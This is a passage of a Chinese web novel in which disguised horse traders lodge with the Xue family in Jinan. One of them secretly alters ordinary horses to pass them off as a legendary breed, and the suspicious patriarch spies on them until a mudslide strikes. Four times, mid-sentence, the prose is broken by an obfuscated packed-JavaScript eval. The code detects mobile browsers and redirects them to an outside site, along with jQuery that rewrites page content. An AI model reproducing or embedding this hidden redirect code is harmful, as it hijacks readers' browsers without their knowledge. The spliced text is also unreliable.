一旁的薛世茂见自家父亲问起来没个完，面上有些挂不住，扯着晏回就往椅子上按：“爹，先让客人落座吧！晏公子可是累了一天了！” “正是正是”，薛承业也赶紧帮腔道，“这也就是晏公子年轻力壮，不远千里来府城贩马，若换作我啊……晏公子，我听说你此行所贩马匹竟是拳毛騧？可是唐太宗昭陵六骏里的那种？” 薛承业醉心商贾之术，早就憋了一肚子话想要问，这番见晏回终于落座，便再也忍不住，急不可待地问了出来。 晏回不置可否地颔首而笑：“二叔若是有兴趣，不妨抽时间去马场看一看，小侄定然作陪。” 晏回将对薛承业的称谓从“二爷”转换成了“二叔”，颇有几分亲近之意。薛承业自然心领神会，捋着胡子大笑道：“去！这必须去！晏公子有所不知，我薛家在历城县经营马场三代，就是缺匹像样的种马！天可怜见，竟……” “二弟。”茶盏不轻不重地在桌案上磕了一下，薛承业立时噤声，微微扭头看向一旁的薛承宗。薛承宗端起茶盏，悠悠地啜了一口，杯中的热气蒸腾而上，模糊了薛承宗的表情。“晏公子想必是累了，今日还是莫要牵扯他的精力了罢。” 薛承业眸光闪动了一下，半晌方笑道：“大哥所言甚是，倒是我思虑不周了。” 见薛承宗已起了送客之意，晏回与范凌舟对视一眼，顺水推舟地起身行礼告辞。在走出花厅之前，晏回缓了缓步子，微微侧眸向花厅西北角的屏风投去一撇。皎白如新月的云母纸上，绘着一幅寒江独钓图，凄清冰冻的江面上，孤身一人的钓叟独守一船白雪。 “兄长在看什么？”身后追上来的薛世茂问道。 晏回收回目光，摇头笑道：“我在看那钓叟，钓的非是鱼，而是那轮江心的月亮。”言毕，大踏步地走出门去。 薛世茂听得丈二和尚摸不着头脑，也跟着回头打量了几眼，那屏风放在花厅里多年，自己竟从未仔细瞧过。他看了半天也没看出个所以然，有些懊恼地转过头，继续追晏回去了。却未曾注意屏风后有一抹水绿色的裙角，一闪而过。 * * * “兄长，兄长！”绕过回廊，薛世茂总算追上了大踏步离去的晏回。“我还有几句话要同兄长说。” 范凌舟下意识地撇了撇嘴：“说了一日了，薛公子的嘴皮子不干啊？” 薛世茂笑嘻嘻地挠了挠头，愣是没有听出范凌舟的阴阳怪气：“倒是没有，只是有些话，不对兄长讲明终究憋闷。” 范凌舟自己也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668115|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承认，对这没心没肺的薛世茂是存了敌意的。虽说晏回始终是以男子的身份与薛世茂交往，薛世茂也打心眼儿里认准了晏回是他的兄长，可范凌舟眼瞧着对方像被面糊粘住的蝉儿般，日日亲亲密密地粘着晏回，吵嚷个不停，心里总是不痛快的。 范凌舟还欲回嘴，袖子便被唐珠儿一扯，拉到了一边儿去。 见范凌舟和唐珠儿一前一后消失在回廊的深处，薛世茂方开口道：“刚才……让兄长受委屈了。” 晏回抬眸，微微一笑：“这如何说得？” 薛世茂喏喏道：“家父自来就是如此，对外人颇为严苛审慎，当然，小弟绝没有说兄长是外人的意思，在小弟这里，兄长是嫡嫡亲的兄弟……可是，家父的想法，小弟也很难改变。” “贤弟多虑了，愚兄岂能因这点小事矫情别扭。”晏回心里有着别的盘算，着实想快点儿打发了这黏屁股滚儿。她抬起手，佯作亲切地在薛世茂的肩膀上拍了拍。 正欲转身，却见薛世茂深吸一口气，似是下定了某种决心般大声道：“兄长定是觉得，二叔待人随和，是可相与的。可二叔是心里有想法之人，待兄长热忱是看重了兄长西域马商的身份、财势与手段，并非是倾慕兄长的才学人品，终究是……是同小弟不一样的！而小弟，也是同父亲不一样的，希望兄长不要因父亲之故，对小弟起了疏远之意……” 说到后来，薛世茂的声音越来越小，恍若蝇鸣。 他急于剖白，生怕薛承宗的冷漠伤了晏回的心，更是唯恐这刚认下的异姓兄弟因此生了嫌隙。自小生长在这深宅大院中，见惯了尔虞我诈，口蜜腹剑，倒唯有晏回让他感受到了与之截然不同的坦荡情谊，他又岂能不看重？ 晏回的眉头微微蹙了蹙，在薛世茂抬头的瞬间，那抹浅淡的疑惑之色便散了去。 “我自是知道贤弟是不同的。”她的脸上重又洋溢起让薛世茂安心的笑意。 “当真？” “当真。” 闻言，薛世茂长舒一口气，又抚胸口又拍大腿，动作夸张如一只挠不到后背的狒狒：“那便是小弟以小人之心度君子之腹了，如此便好，如此便好……” “那……那小弟便不叨扰兄长了，兄长早些歇息。”初见时的纨绔子弟，此刻老老实实地拱手行礼，若是这番情景让王五六见到，只怕会惊叹连连吧！ 而此时，王五六正小心翼翼地敲响薛承宗书房的大门。 23.生死签（六） “给薛大老爷请安！”王五六甫一进门，头尚不敢抬，就噗通一声跪在地上，恭恭敬敬地叩了个头。 书房内烛火摇曳，薛承宗端坐在太师椅上，手指轻叩着桌面，半晌没吭声。王五六不敢抬头，心里直发紧。薛家三位爷，他最怵的就是面前这位。薛家二爷巧舌如簧，爱财如命；薛家三爷冷面佛心，少与人言；唯独这位大爷，别看平日里端正肃穆得像个佛爷，背地里的阴损招术可是应有尽有……心里这样想着，王五六不由得打了个寒战。 见薛承宗仿佛没有听见，还勾着脖颈不言语，便膝行而前，谄媚道：“小的王五六，给薛大老爷请安。” 薛承宗终于缓缓抬眸，冷冷扫量了王五六一眼：“现如今，我府上住进了一个姓晏的马商，你可知晓？” 王五六心里咯噔一下，连忙回话：“小的……小的略有耳闻，说是带了批好马进府城。” 那拳毛騧他是远远见过的，被薛小爷吹得天上有地下无的，他便是想不知晓都难。 “好马？”薛承宗冷笑一声，“那拳毛騧的种马，要是进了府城，你的贩马生意可还做得下去？” 王五六脸色渐渐白了，他不是没有焦虑过这一点，但那晏回是薛小爷的人，他又能如何。可听着薛承宗话里有话，他便就坡下驴道：“那……大爷您的意思是？” “从今日起，盯着砚池的马场。每日草料用度、马夫行踪、夜里动静……但凡有风吹草动，立刻报来。”薛承宗顿了顿，指尖在茶盏沿摩挲着，“可若是走漏了半点风声……” “不敢！小的绝不敢！”王五六连滚带爬地磕头，“小的这就去盯着，保证眼睛都不眨一下！” 薛承宗抬手，将一锭银子扔在他面前：“做得好，便是赏你的，往后薛家的生意少不了你的那一份；若是做得不好，便拿着打棺材吧！” 王五六捧着银子，恍若大热天抱着个炭盆，后背早已被冷汗浸透。他喏喏退下时，正撞见薛承文站在廊下，月光洒在他灰色的直襟上，像一截冰冷的石柱。王五六打了个寒颤，头也不回地窜进了夜色里。 * * * 夏昼渐长，日头毒烈，照得人恹恹的。范凌舟最是怕热，往日在长生观中，他自是可以独坐小楼成一统，寻个僻静阴凉之地休憩。可现如今，他人在薛府之中，又披上了“马商掌柜”的外皮，却是失了那番自由自在的闲情。 薛承宗将西跨院分给了远道而来的晏回诸人，俗话说东淋西晒，这西跨院在夏季最是炎热，更是惹得范凌舟成天到晚唉声叹气。 这日，见四下无人，范凌舟一个纵身，跃上院中的悬铃木乘凉。这株悬铃木枝干遒劲，叶片肥厚，成年人头脸大小的叶片遮蔽了刺目的阳光，形成一派难得的阴凉。风过悬铃，簌簌如私语，只听得范凌舟昏昏欲睡。 长眸微微合拢，半晌唇齿间竟溢出一声叹来。 “哎……一入薛府深似海呐……” ——从此晏郎是路人。 也无怪乎范凌舟悲叹，实在是人在屋檐下，不得不低头。这些时日，他同晏回相处的时间屈指可数，甚至比上回在鲁宅有过之而无不及。正自想着，却听见一阵细碎的脚步声。 范凌舟微一倾身，从叶片的缝隙间看过去，只见一个小丫鬟冒着暑气，一路小跑往东边去了。范凌舟眸光一晃，悄无声息地滑下树来，偷偷跟了上去。 此刻，东边的马厩已被日头晒得发烫，晏回挽起袖子，正用篦子细细梳理照夜白的鬃毛。那匹神驹通身雪白，一根杂毛也无，此刻正温顺地垂着头，任由主人收拾摆弄。 嗤—— 篦子刮过打结的鬃毛，照夜白不安地刨了下蹄子。晏回手腕微顿，轻声道：“别动，此处伤了油皮，再闹就上药了。”她从腰间解下羊皮水囊，往掌心倒了些清水，一点点揉开纠结的毛发。 动作间，她佯作不经意地向马厩外一瞥，只见一个面生的小丫鬟探头探脑朝她张望了几眼，旋即转身跑开了。 晏回面上不动声色，心中却起了警惕，不多时，她便听见一阵轻缓的脚步声在身后响起，微微垂眸，一抹水绿色的裙角便映入眼帘。 “我常听人说，西域来的良驹性子骄纵，不愿屈居檐下，今日一见，也不尽然，这匹马儿倒是柔顺得很。” 女子的声音温婉清亮，若流水一般。晏回直起身来，微笑着转头看去。只见身后立着一位绿裙佳人，半边身子藏在屋檐的阴影之下，更衬得那肤色皎白如雪。 “晏回晏西楼，见过薛姑娘。”晏回的目光只礼貌地在女子的眉眼间扫了扫，便躬身行礼。 “你识得我？”这下，女子反倒疑惑起来。 “早就听世茂贤弟说过，家中有位嫡长姐，聪敏多思，不输儿郎，更难得的是极擅相马，连西市的马商都不敢造次糊弄，想来便是姑娘了。” 女子白净的面皮儿上腾起一抹红霞，声音也不自觉低了几分：“公子切莫听他胡言，哪有……哪有他说的那般……” “是薛姑娘过谦了，世茂贤弟善良热忱，有其弟必有其姐，能识得二位，是晏某的荣幸。” 薛家姑娘名唤灵犀，闻言不由得偷眼多瞧了晏回几眼。她长这么大，倒是第一次听见有人这么评价她的混世魔王弟弟，心中对晏回的好感不觉又多了几分。 正自想着，一个热哄哄毛茸茸的脑袋过来，往薛灵犀垂在一旁的手上蹭去。 “哎呀！”薛灵犀猝不及防，下意识地后撤了一步，正好撞在晏回身上。隔着轻薄凉爽的衣料，薛灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678795|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犀能清晰地感受到晏回温暖的体温，和隔着衣袖搀扶她的小臂。这下，薛灵犀的脸皮儿红了个彻底，从脖颈处漫起的粉色径直向上，将整张玉面笼罩其中。 晏回不声不响地扶了她一把，待她站定了身子，便随之撤了开去。见薛灵犀还是背对着自己，尴尬非常，便笑着挑起话头道：“薛姑娘方才一路走来，身上带着甜丝丝的凉气，想来是给它带了好东西？这匹照夜白鼻子灵得很，嘴又极馋，是该好好管管了。” 晏回一边说，一边屈起食指，不轻不重地在照夜白的鼻梁上敲了一下。 咚—— 一抹笑纹从薛灵犀绷紧的唇边绽开，继而蔓延向眼底眉梢，她没有忍住，噗嗤一声笑了出来。晏回也随着她笑，她能看到薛灵犀眸光里的自己，小小的，亮晶晶的。 薛灵犀将始终藏在身后的食盒让了出来，递给晏回：“让晏公子猜着了，我见今日天儿热，便给马儿带了些胡萝卜冰来。” 晏回依言打开食盒，见盘中整整齐齐摆放着冻成正方形的小冰块，每个冰块里都包着数个胡萝卜块儿，被午后的日头一照，晶莹剔透，让人食欲大开。果不其然，食盒的盖子刚刚掀开，照夜白的脑袋便挤了过来，嘎吱嘎吱地大快朵颐起来。 见马儿吃得欢喜，薛灵犀不觉莞尔，倾着身子欲抚摸照夜白的脑袋，却只听“叮——”地一声响。 循声望去，只见薛灵犀腰间悬挂的玉佩竟被照夜白的马镫吸了过去，紧紧贴在蹬环上。薛灵犀俏脸一红，赶紧探手将玉佩压下，对晏回解释道：“让公子见笑了。此玉佩中含有磁石，日常佩戴多有不便，只是自小随身携着，便也不曾摘。” 晏回顺着少女柔和的腰线望去，那玉佩呈淡青色，质地温润，隐隐可见细密纹路，确非寻常玉石可比，心中一动道：“世间竟有如此别致稀罕之物。” 薛灵犀柔声道：“爹爹说，这种玉石不易成型，耗费诸多玉料只成了两块，我与世茂各得一块，放在一起便可隐隐相吸，图个‘姐弟连心’的吉利。” 二人相谈正欢，晏回的余光却瞥见方才那探头探脑的小丫鬟又出现了，躲在廊下的阴影里冲着薛灵犀直挥手。 薛灵犀面色一讪，心知自己与晏公子聊得忘了形，若是被旁人看到，只怕会起了流言蜚语，于名声有误，便赶紧垂下眼帘轻声道：“公子，时候不早了，小女……这便告辞了。” 她微微一礼，正欲转身，却又想起了什么，瞟了一眼还在吃冰的照夜白：“若马儿还嘴馋，府中的井窖里存着不少冰，公子自可取用。” 说完，也不待晏回回应，便快步离开了，那水绿色的裙子在回廊处一闪，便再也瞧不见了。晏回的目光还追着那抹裙影，却听头顶不远处传来一声不屑地“啧”声。 24.生死签（七） 晏回警惕地四下看顾了一圈，下一瞬，范凌舟便从树梢上一跃而下，正落在晏回身前。 范凌舟直起身子，犹嫌不足，又不满地“啧”了一声。 “那薛家姐弟倒是有趣，跟沾了荤腥的猫儿似的，黏着你不放，弟弟这样，姐姐还这样，烦死！” “我方才可是瞧了个真切，那薛灵犀先派了个小丫鬟偷摸摸探看了一眼，确定你孤身一人了，才佯装给小白送冰制造偶遇，明眼人谁看不出来啊！” 范凌舟抱着双臂，满脸不忿地歪靠在马厩的栅栏上，哪里还有半分仙风道骨的气度。晏回也不打断，只等他抱怨完方道：“这不正是你计划的一部分吗？” 无论是奔马相救，还是那惊艳的纵马驰骋，亦或是屏风初见，甚至是刚刚的马厩私谈，这一切的起伏跌宕，旖旎柔婉，本就是范凌舟一手促成与推动的，晏回无非是他最惊才绝艳的伶人罢了。 “不成你不喜，成了你又不喜——”晏回笑着一叹，继续弯腰刷马。 “我不管。”范凌舟扭过头，掩住眸中一闪而过的黯然之色。他心知晏回说得有理，却终究意难平。 正恼着，却听晏回道：“不过，今日倒是有意外之喜。” “没觉得喜，就觉得烦……”范凌舟小声嘟囔着。 晏回也不与他纠缠，权当没有听到他的抱怨，继续说道：“那磁石玉佩着实有趣，可以去查查看，也省得你整日闲来无事，自寻烦恼。” 范凌舟应了，顶着大太阳垂头丧气地往回返，午后被晒烫的风里，还隐隐约约能听到他“烦烦烦”的三字经。晏回停下手中刷马的动作，转头看向范凌舟的背影。 从初遇那日，她便觉得他不像个道士，经年累月的相处下来，他愈发不像了，还多了几分孩子脾性。晏回摇摇头，不自觉地笑了。 * * * 是夜，暑气蒸隆，盘亘了一整日的雨终究没有落下来，积聚在砚池草场的上空，形成一片浓黑色的云层，竟是把月亮都吞了去。草场的静僻处立着一个小小的撮罗子，以三根粗实木杆交叉为支撑，顶端套柳条圈以加固，上覆以柳蒿条编织而成的草帘子，既遮阳又通风，若不仔细打量，几乎和草场齐人高的草丛融在一处。 风吹帘动，只一闪，一个深褐色的人影便探身钻了出来，正是楚庸。 与深入薛府的晏回、范凌舟和唐珠儿不同，楚庸的伪装之术可谓差之千里，便得了个马场放马的差使。楚庸倒也乐得如此，天为盖，地为床，日日与数十匹拳毛騧相伴，总好过寄人篱下的憋屈。 抬头望了望晦暗的天色，楚庸抄起立在撮罗子外的扁担，走到池畔，担了两桶水。 只一个呼哨，草场深处四散的马群便聚拢到楚庸身边。楚庸一一看了过去，从中挑了一匹苍黄色的母马。只见他抬手在母马的耳后抚了抚，那马便温顺地垂下头，任由他解下缰绳，牵往更僻静的芦苇荡边。这里的芦苇异常茂盛，密不透风的芦苇秆将星光与窥探的视线一并隔绝，只余虫鸣与水流声在耳畔低回。 楚庸弯下腰，将一瓢清水倾倒在马背上，同时用毛刷轻轻刷动，泥沙混着油污从毛皮上脱落，被水浸透后的鬈毛竟然慢慢绷直，毛色也透出油亮的枣红来。楚庸面色如常的清理着，似乎没有在意拳毛騧的变化。他手上动作极快，在毛刷梳理过后，又用粗布巾在马身上来回擦拭，连腹下与腿弯的汗渍都擦得干干净净。 借着不时探出浓云的月光，那芦苇荡掩映下的拳毛騧竟是变了模样。那黄毛黑嘴逐渐消失，隐隐约约露出寻常驽马的毛色。 待马毛半干之时，楚庸从怀中掏出一瓶黑色的小罐，指尖蘸了罐中半凝固的膏体，顺着马颈的鬃毛细细揉搓。从脊背到臀部，从肩胛到前腿，连马尾的末梢都没放过。那膏体呈深褐色，触感黏腻，混着未干的水珠抹在毛发上微微发亮。说来也奇，原本被水浸得顺直的马毛，在膏体的作用下竟缓缓蜷缩起来，蜷成一个个细密的苍黄色小卷，如同烫过的绒线一般。 不到半个时辰，一匹马便收拾停妥，楚庸拍了拍它的脖颈，将缰绳重新系好，目送它消失在芦苇深处。 不多时，芦苇荡中又响起一声清亮的呼哨声。 * * * 薛承宗面色阴沉地坐在太师椅上，仿佛不解恨一般用力地捻着手中的念珠。 整整一天时间，他已经断续接待了两拨人。甫一大早，他那从来不肯早起的不成器的儿子便将他堵在了书房里。絮絮叨叨大半日，句句不理那姓晏的马商，里外里的意思便是，自己在读书上没有什么出路，不如随着晏回跑跑商路，拓宽自家马场的生意，也算是为族里做了贡献。 薛承宗冷着脸将他斥了出去，肚里已然窝下了一团火。可谁料，中午才用过膳，他那二弟薛承业又兴冲冲地跑了来，想要煽动自己和那西域马商共谋“大业”，将府城的生意做到西域去。 自己的儿子不成器便也罢了，自诩头脑灵活，点石成金的薛承业竟然也跟着一门心思往外奔，实在是不知那晏回给二人灌了什么迷魂汤。 本就炽烈的邪火无所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684097|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦阻，薛承宗对着薛承业大发了一通脾气。薛承业没有想到薛承宗会恼怒至此，嘴里还止不住地嘟囔道：“宁做凤尾不做鸡头，大哥你日日守着府城这巴掌大的地儿，也是心思惫懒了，成不了大事的，成不了！” 想及此，薛承宗不由得怒哼一声：“只怕大事还没成，便先在别人的阴沟里翻了船！” 话音还未落，就见一下人如履薄冰地探了探头，小声禀报道：“大老爷，王五六求见。” 薛承宗紧咬后槽牙，强自压下怒火：“让他进来吧。” 万没想到，看上去最不靠谱的王五六带来的消息，却让薛承宗瞬间坐直了身子。 “你可看清楚了！？” 王五六结巴了半晌，把方才看到的场景在脑海中过了五六遍，才道：“回禀大老爷，那芦苇丛茂密，天色又晦暗，若说是看得真真切切，未免托大，可是……可是若说是行为坦荡，又为何将马儿拖到芦苇丛中呢？一晚上见刻不停地刷洗了六匹马，宁可自己一趟趟担水，也不愿将马儿带到敞亮的池边去，小的总觉得……” “总觉得古怪得紧呢！”最终，王五六笃定道。 与自家一门子心思走商路的族弟薛承业和满口嫡嫡亲弟兄的薛世茂不同，薛承宗始终对晏回等人存着警惕。而王五六传回来的讯息，又进一步加深了薛承宗的猜想。这帮所谓的西域马商，恐怕不仅仅是贩马那么简单，定然还存了别的心思！ 可是，这一切的真相究竟又是什么呢？为什么单单要挑选这么一个星月暗淡的深夜洗马，为什么要将马匹掩藏在芦苇丛中，为什么宁可担水也不愿图方便？王五六胆小如鼠，万不敢走漏风声；薛承宗也从未与马商一行私下接触，那群人绝想不到他们的一言一行都在自己的监视之下。 那么，他们费尽心机掩盖的…… ——是马！世人未曾见过拳毛騧，所知也无非是古籍中只言片语的记载，那么伪造拳毛騧就成了最无后顾之忧的骗局！而拳毛騧最标志性的特点便是满身密布的卷毛，只要能够将马匹的毛发变卷…… “你想得没错，那马匹定有蹊跷！”薛承宗狠狠地捻了一把手中的珠串，命令道：“给我盯死了那个马商，随时来报。” “大老爷”，王五六有些为难地砸吧了一下嘴，“小的自然是眼睛都不敢眨地紧盯着，可……可咱们拿人家怎么办呢？就算再怎么盯，咱们也没证据不是？” “证据——”薛承宗冷冷一笑，眸光上移，望向窗外那片黑沉沉的天空，“老天很快便要给咱们送过来了。” 25.生死签（八）未完，明日补齐 济南府地处低洼盆地之中，城南的泰山余脉如一道天然屏障，将南来的灼热潮气牢牢锁住。每至盛夏，水汽在群山环抱下蒸腾积聚，化作铅灰色的浓云压在城头，只需一丝风动，便能倾泻出瓢泼大雨。 翌日晌午，城中憋闷得惊人，日头被云层捂着，如同蒸笼下灼烫的炭火，不见日光却能感受到黏稠得几乎成型的热气。薛承宗坐在书房里，将檀木珠子捻得油光锃亮，轩窗之外，卧牛山的轮廓在岚气中若隐若现，像一头蛰伏的巨兽。 而此时，晏回正站在西跨院的廊下，望着檐角垂落的蛛丝。那蛛丝上凝着几粒晶莹的水珠，一只正在向上攀爬的喜蛛停在浑圆的水珠前，不知该如何是好。 “你说这雨是下得来，还是下不来？”晏回轻声问道。 范凌舟正蹲在地上摆弄一个怪模怪样的罗盘，指针在刻度盘上颤巍巍地晃动着：“难讲，水汽重成这样，却连个雷响都没有。”他微微抬眸，若有似无地瞟向卧牛山的方向，“黑云压城城欲摧啊——” 晏回的目光在犹豫的喜蛛身上黏着片刻，陡然一厉：“不等了，告诉珠儿，咱们立刻出发。” “现在？” “就是现在。” 范凌舟也不多话，即刻起身去叫还在内室里呼呼大睡的唐珠儿，三人略作准备，正欲出门，却发现西跨院的门口多了数名家丁。 为首一名家丁膀大腰圆，仅凭一人之力就把西跨院连接主院的月亮门挡了个严严实实。其余家丁则手持水火棍，面色冷硬地依次排开。 见晏回等人作势要走，为首的家丁躬身作揖道：“晏公子，咱家大老爷吩咐了，看这天象半个时辰内必降暴雨，您几位初来乍到不熟路径，若有差遣尽管吩咐小的们，万不可冒雨外出。” 虽说这家丁面儿上笑得不见眉眼，语气却不容置喙，显然是得了薛承宗的死命令。 “哟，这济南府的规矩倒是稀奇——只见过不让人进门的狗，不让人出门的还真是第一次见。”唐珠儿眸光骤冷，探手便摸向腰间的药囊。指尖刚触到瓷瓶冰凉的釉面，就被晏回不动声色地按住。 晏回的目光越过家丁肩头，落在影壁后一张熟悉的脸上。她记得那个小丫鬟，人长得伶俐可爱，是薛灵犀的贴身丫鬟。 “差遣？”晏回忽地抬高声调，“拳毛騧乃是传世名驹，自幼在沙漠中长大，何曾见过中原暴雨？若是惊了马伤了人，这个责任你可担得起？”晏回顿了顿，紧盯着为首的家丁，“薛公子与我亲如兄弟，薛老爷待我亲和有加，绝不会在马匹一事上为难于我，只怕是你们听岔了音，会错了意，还不速速退下，莫要离间我与公子的情谊！” 寥寥数语言毕，众家丁已是出了一脑门子汗。他们的确是得了薛承宗“严防死守”的命令，却没料到对方拿马匹说事——谁不知道薛世茂把那批拳毛騧宝贝得跟眼珠子似的，替大老爷办事，却得罪了活阎王似的小老爷，岂不是里外难做？ 为首的家丁名唤薛德贵，是众家丁的主心骨，只见他挺着大肚子又往前上了一步，毫无退让之色：“还请公子放心，砚池马场自有得力伶俐的马师为公子看顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690165|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，无须公子挂怀，还请公子——” 满面的笑容敛去，眼角眉梢流露竟皆是威胁之色。 “——回屋。” 正当双方僵持不下之际，忽听一阵环佩叮当，薛灵犀提着裙摆从抄手游廊快步走来，身后跟着气喘吁吁的薛世茂。 “何事喧哗？”薛灵犀的声音带着一丝不易察觉的慌乱，目光在晏回和家丁之间转了一圈，最终落在为首家丁薛德贵身上，“谁让你们拦着晏公子的？” 薛德贵正欲解释，却见已然炸了毛的薛世茂借着助跑之势冲了过来，一脚踹在他的屁股上。许是用力太过，薛世茂踉跄了几步方才站稳脚跟，回身就指着鼻子大骂道：“混账东西！爹让你们好生伺候客人，谁给你们的胆子拦路？！都给我滚！” 他说着就要去夺家丁手里的水火棍，吓得众人慌忙后退。薛灵犀赶紧拉住他，又转向晏回歉然道：“晏公子莫怪，许是家父担心雨势太大……既然公子担心马匹，我这就命人备车。” “阿姊，还备什么车啊！”薛世茂怒气冲冲瞪着刚爬起身来的薛德贵，再次狠狠补上一脚，“滚去牵马！我要与晏兄同去！” 薛德贵哪敢反抗，脸上的肥肉憋屈地颤了颤，捂着屁股连滚带爬地向马厩跑去。薛世茂紧跟在后，似乎随时准备再踹一脚。 范凌舟看着薛世茂急匆匆的背影，和唐珠儿相互交换了一个眼色，压低声音道：“这挡箭牌来得还算及时。” 唐珠儿撅起嘴，若有似无地砸吧了一下：“接下来，就看楚大哥扛不扛得住了。” 26.生死签（九） 随着薛承宗一声令下，数支火把便径直探了过来，直照向楚庸身后的马群。 楚庸浓眉紧蹙，舍身阻挡：“不可！莫要惊了马！” 他一边说，一边用手肘撞向扬起的火把，然而，已经晚了。 又一记闷雷自天空滚过，震得地面都颤动起来，本就惊慌失措，不安地用马蹄刨动沙石的马群，突然异口同声地嘶鸣起来，人立而起，再也不听号令，冒着暴雨冲出了遮蔽的石岩！ “拦住它们！”薛承宗大吼道，可受了惊的奔马又哪里拦得住，它们一拥而出，将薛承宗的队伍撞得人仰马翻，数支火把滚落在地，火星子直崩到潮湿的石壁上。 当是时，怒骂声，马嘶声，雷声，雨声，蹄声响成一片，薛承宗仍不死心，虽是手中火把已失，可还妄图借着空中滑过的闪电辨别拳毛騧的真假。他竭力倾长了身子，双腿紧紧夹着身下的马匹，眯起眼睛看向冲出来的马匹。 而另一边，楚庸还在竭力控制夺命狂奔的马群，不断地打着呼哨。那清脆而嘹亮的呼哨声，掩映在倾盆而至的大雨中，似乎变了调。下一瞬，聚精会神看着拳毛騧的薛承宗便觉一股巨力袭来，将他连人带马掀翻过去！ 撞飞薛承宗的正是看上去最为温顺的头马，此刻它赤红着眼睛，不管不顾地带领马群扎入雨中。薛承宗反应极快，在空中就调整姿势护住了头脸，可摔到地上的一刻还是让他疼得嘶叫出声，紧接着，又有数个马蹄踏到他的身上，他又惊又痛，一边奋力向外滚去，一边竭尽全力妄图在混乱中站起身来。 “老爷！”他听见无数惶急的声音在喊他。 几番泥淖中挣扎，他的眼耳口鼻早已被泥浆糊住，看也看不清，喊也喊不出，如同一只掉入油壶的蝼蛄，拼命晃动着双臂，绝望地保持着平衡，甚至腾不出手抹一把脸上的泥水。 “老爷！”喊他的声音更尖利了，近乎刺耳，“快跑啊！流石来了！” 狼狈至极的薛承宗闻言不由倒吸一口冷气，赶紧借着雨水的冲刷，透过污秽不堪的视野望出去。只见灰黑色的岩壁之上，不知何时盘上了一条苍黄色的大蟒，蟒身粗壮骇人，正飞速向他袭来！定睛再看，这哪里是什么即将化蛟的大蟒，这是裹挟着断木、碎石、泥浆，顺着岩壁的沟壑直冲而来的泥石流啊！ 薛承宗只觉两腿一软，发了狂的奔马尚有一躲之机，可若陷入流石便是必死无疑！再加上他方才挣扎闪躲早已力竭，哪还有余力对抗这气势汹汹，避无可避的流石。一时间，愤怒、自怜、懊恼、遗憾纷纷涌上心头，激得薛承宗脸色惨白如纸。生死攸关之际，薛承宗偏生出一股狠劲儿，正欲拼死一搏，却听一声“小心”！ 一道玄色身影如离弦之箭从雨幕中冲出，一把将薛承宗拽向岩壁凹陷处。 借着一阵急似一阵催命般的雷闪，薛承宗看清那救他于危难之间的男人的脸。竟是晏回！ 由于巨大的冲撞之力，二人几乎是毫无缓冲地拍到了岩壁上。薛承宗只觉五脏六腑都移了位，喉头一甜，一口鲜血便喷了出来。视线模糊中，他隐约看见晏回的额角也在流血，可他的表情却格外镇定与冷峻，镇定得仿佛——一切尽在掌握。 气血翻涌间，薛承宗昏死过去。 * * * 待得薛承宗再次醒转，已是三日后的黄昏。经过连日来暴雨的洗濯，夕阳鲜红透亮得如同玛瑙一般，薛承宗缓缓睁眼，入目是被天光浸透成暗褐色的木制床顶。他试着动了动，却不由倒抽一口冷气，左臂传来钻心的疼。 “爹！您醒了？” 床榻一侧传来少女的哽咽声，薛灵犀握住父亲未受伤的右手，扭头对小丫鬟吩咐道：“速速去请少爷。” 话音还未落，端着药碗的薛世茂已经一路小跑地走入房中，一面喊着“爹”，一面被烫得龇牙咧嘴，双手不住地倒替着。 眼瞧着一双儿女满目焦急，尽孝膝前，衣不解带地照顾自己，当爹的薛承宗不由一阵宽慰，可紧接着，一股寒意顺着脚底板攀了上来，涌上嘴角的慈祥笑容瞬时冷了下来。 “那晏公子呢？” “爹——”跟药碗较量的薛世茂终于走到了床前，将碗在几上一放，便急不可耐道，“这次可多亏了晏兄，若不是他那舍身一扑，只怕您老就交代在马场了。” 薛承宗的指尖猛地收紧。昏死前那道玄色身影、额角的鲜血、以及那种一切尽在掌握的镇定，如冷刺般扎进脑海。 